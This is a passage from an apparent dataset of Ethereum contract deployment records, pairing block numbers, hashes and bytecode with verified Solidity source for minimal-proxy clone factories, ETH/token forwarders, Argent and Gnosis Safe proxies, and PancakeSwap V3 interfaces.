IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,495,013 | 67e42a455064075715e489d2ae08493c3c11b20c7a2989de16fa4dd04f2df7ec | 35d130475ad2219ad03858f48d2adc0f9e8fcb29cc2be9bd332e8be1622429ec | d24400ae8bfebb18ca49be86258a3c749cf46853 | 485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76 | 1036bc55f36a0e5c25e1a7721e941b151d80b4a2 | 3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3 | |
1 | 19,495,014 | 7f6d87ea0434a3d251c1eee116cf63bd3022189209e3caf3dc927f4cc1c1291a | 8fcfe12825069e058d53a927c1f50766402c4c76d6435a79832fc6ac98ffbd7c | ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a | 46950ba8946d7be4594399bcf203fb53e1fd7d37 | 6e16869b2ae84904553344cd5483da8607085663 | 3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3 | |
1 | 19,495,014 | 7f6d87ea0434a3d251c1eee116cf63bd3022189209e3caf3dc927f4cc1c1291a | 7b6bdfbf41199fea382d5d1c3b526dea6332ba610008f539ce4ffc59639c5dd5 | f7f8bbb310df9cf0a99b2121c27a9f891507fedb | 536384fcd25b576265b6775f383d5ac408ff9db7 | 60188ab18eeefb81c91a38d7082b367c9c127fe5 | 60a060405234801561001057600080fd5b506040516101d43803806101d483398101604081905261002f91610044565b60601b6001600160601b031916608052610072565b600060208284031215610055578081fd5b81516001600160a01b038116811461006b578182fd5b9392505050565b60805160601c61013f610095600039600081816069015260be015261013f6000f3fe6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f00000000000000000000000000000000000000000000000000000000000000003660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033000000000000000000000000ab00ea153c43575184ff11dd5e713c96be005573 | 6080604052600436106100225760003560e01c80635c60da1b146100ac57610067565b3661006757604080516020808252600090820152339134917f606834f57405380c4fb88d1f4850326ad3885f014bab3b568dfbf7a041eef738910160405180910390a3005b7f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be0055733660008037600080366000845af43d6000803e8080156100a7573d6000f35b3d6000fd5b3480156100b857600080fd5b506100e07f000000000000000000000000ab00ea153c43575184ff11dd5e713c96be00557381565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea2646970667358221220b88a14f52e9d465328c9b3ab476e4b7fa40ed3615fd5409a6afc9885366e03a964736f6c63430008030033 | // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
/**
* @title Proxy
* @notice Basic proxy that delegates all calls to a fixed implementing contract.
* The implementing contract cannot be upgraded.
* @author Julien Niset - <[email protected]>
*/
contract Proxy {
address immutable public implementation;
event Received(uint indexed value, address indexed sender, bytes data);
constructor(address _implementation) {
implementation = _implementation;
}
fallback() external payable {
address target = implementation;
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {revert(0, returndatasize())}
default {return (0, returndatasize())}
}
}
receive() external payable {
emit Received(msg.value, msg.sender, "");
}
} |
1 | 19,495,015 | 68cf8f5351388bdc485d972378eedabc3be08e7f32148efbc5587e123b68ad3e | 2fc83b2b4be45a7578e0ed91c90b2ee8321f0b03e403a4e9d83e43b2b197494a | 4cbc132b0905d6fb362def03218c284742d45d97 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 4a9c1a7e59b52c59aac7d26dc94be94696230f58 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,495,018 | 03020624c17be306761676f1ee06200b42f7d0ed12962bc3f503340a9e4aa4e5 | 244fd7e6dee81a07aea1f6b7f01305bf47ae1e83cf01ad88006beaf8c6ed7686 | 0f796ce13fb9af5509c84f03b6e3d9a98b13973d | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | a4364a394a1f02a0ca158df8e9ecd3d5c809565a | 3d602d80600a3d3981f3363d3d373d3d3d363d7318d2c3748fb735054f5cf860e4eae69aa38064285af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7318d2c3748fb735054f5cf860e4eae69aa38064285af43d82803e903d91602b57fd5bf3 | |
1 | 19,495,018 | 03020624c17be306761676f1ee06200b42f7d0ed12962bc3f503340a9e4aa4e5 | c46230d8b3955469fb9f9e42335d4ae8df83b433698523c929f9565772e94af3 | 366223a5371dcc6303de80c9fb54d92abab33fee | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | ffa9d59e9956f4b0d98607ffd31db9d43f6021a9 | 3d602d80600a3d3981f3363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3 | |
1 | 19,495,022 | 02cee5c7299aec62c379b96422425c1c2f60368fd3238f5856a806a85084182d | 29bbce94407375fa015bb6e4298df4c8b7b85f8316ee039ce971190068bd3473 | b0a8b427ee85f03bfa78d278cce007cd90b31aab | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | bd3a490f1919c21bc3849c3a8a4ad02dd5396504 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
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| {{
"language": "Solidity",
"sources": {
"@pancakeswap/v3-lm-pool/contracts/interfaces/IPancakeV3LmPool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\ninterface IPancakeV3LmPool {\n function accumulateReward(uint32 currTimestamp) external;\n\n function crossLmTick(int24 tick, bool zeroForOne) external;\n}\n"
},
"contracts/interfaces/callback/IPancakeV3FlashCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IPancakeV3PoolActions#flash\n/// @notice Any contract that calls IPancakeV3PoolActions#flash must implement this interface\ninterface IPancakeV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IPancakeV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a PancakeV3Pool deployed by the canonical PancakeV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IPancakeV3PoolActions#flash call\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IPancakeV3MintCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IPancakeV3PoolActions#mint\n/// @notice Any contract that calls IPancakeV3PoolActions#mint must implement this interface\ninterface IPancakeV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IPancakeV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a PancakeV3Pool deployed by the canonical PancakeV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IPancakeV3PoolActions#mint call\n function pancakeV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IPancakeV3SwapCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IPancakeV3PoolActions#swap\n/// @notice Any contract that calls IPancakeV3PoolActions#swap must implement this interface\ninterface IPancakeV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IPancakeV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a PancakeV3Pool deployed by the canonical PancakeV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IPancakeV3PoolActions#swap call\n function pancakeV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/IERC20Minimal.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for PancakeSwap\n/// @notice Contains a subset of the full ERC20 interface that is used in PancakeSwap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return 